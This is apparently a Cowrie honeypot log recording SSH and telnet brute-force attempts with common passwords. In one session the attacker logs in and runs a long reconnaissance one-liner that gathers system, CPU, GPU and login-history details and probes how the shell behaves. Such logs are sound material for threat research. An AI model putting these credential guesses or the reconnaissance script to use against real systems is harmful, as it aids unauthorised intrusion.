{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:5d:15:69:af:4c:a4:21:bd:85:f2:f8:1c:6a:a8:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD9f0I3LiFxF8iRlFNIpYO5tYLtMv5Psi81xVe++wLVEVKsbKpcKGUmvkvg9v2xHn+52NLRUTNdZvFeImJiWsMVJli+q3SO8Z6+GUFvemW5fQnY0ixvn5t+MKF8+2RteQmewUIODoyxjBZtCczDwVCDon4Iuuc31wbeMLUJaaZciTnkwGjPoewDGN/MQpg+lpSh/+xlgkrMj3PJU5f4Se5QwrxnNoTc0AzY7L43XI9uSDvpRkqNL67EbEObP9QRJTeCuoN7aRAOWuzEvEfFm6HFAq7+1ZCKHP72Jcww5uFaf1eN4iYybgk4EBIuFJ8/eHpBU/s6I28dHnJgRHasJtp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:25.364346Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:25.591435Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80118656158447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:30.406906Z","src_ip":"107.6.151.170","session":"d15522d0b884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.259244441986084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:33.932294Z","src_ip":"107.6.151.170","session":"214e44ad33c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.22105312347412,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:43.076198Z","src_ip":"107.6.151.170","session":"ea413d697ea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59760,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c1b8f72477f","protocol":"ssh","message":"New connection: 160.187.174.22:59760 (159.203.135.109:22) [session: 7c1b8f72477f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:45.632050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:45.635578Z","src_ip":"160.187.174.22","session":"7c1b8f72477f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:45.876277Z","src_ip":"160.187.174.22","session":"7c1b8f72477f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:46.582963Z","src_ip":"160.187.174.22","session":"7c1b8f72477f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:47.819979Z","src_ip":"160.187.174.22","session":"7c1b8f72477f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.610255002975464,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:59.601916Z","src_ip":"107.6.151.170","session":"991f04ab74ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46758,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ee932b96cac","protocol":"ssh","message":"New connection: 103.172.78.219:46758 (10.17.0.5:22) [session: 7ee932b96cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:00.669698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:00.674352Z","src_ip":"103.172.78.219","session":"7ee932b96cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:00.937120Z","src_ip":"103.172.78.219","session":"7ee932b96cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20112012","message":"login attempt [root/20112012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:01.738774Z","src_ip":"103.172.78.219","session":"7ee932b96cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:03.017600Z","src_ip":"103.172.78.219","session":"7ee932b96cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46390,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3701746cf45","protocol":"ssh","message":"New connection: 91.92.40.4:46390 (10.17.0.5:22) [session: c3701746cf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:08.511648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:08.516407Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:08.597325Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:08.845372Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.068852Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.071389Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.074607Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.077529Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.080149Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.104804Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.107750Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.110745Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.114121Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.117929Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.121376Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.241785Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:09.326102Z","src_ip":"91.92.40.4","session":"c3701746cf45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54778,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e6118251f1f","protocol":"ssh","message":"New connection: 160.187.174.22:54778 (159.203.135.109:22) [session: 9e6118251f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:12.678952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:12.683127Z","src_ip":"160.187.174.22","session":"9e6118251f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:12.929391Z","src_ip":"160.187.174.22","session":"9e6118251f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:13.674422Z","src_ip":"160.187.174.22","session":"9e6118251f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:14.925444Z","src_ip":"160.187.174.22","session":"9e6118251f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51786,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a0c4cb9f7ae","protocol":"ssh","message":"New connection: 160.187.174.22:51786 (159.203.135.109:22) [session: 0a0c4cb9f7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:38.921176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:38.925169Z","src_ip":"160.187.174.22","session":"0a0c4cb9f7ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:39.175233Z","src_ip":"160.187.174.22","session":"0a0c4cb9f7ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:39.916018Z","src_ip":"160.187.174.22","session":"0a0c4cb9f7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:41.167513Z","src_ip":"160.187.174.22","session":"0a0c4cb9f7ae","protocol":"ssh"}
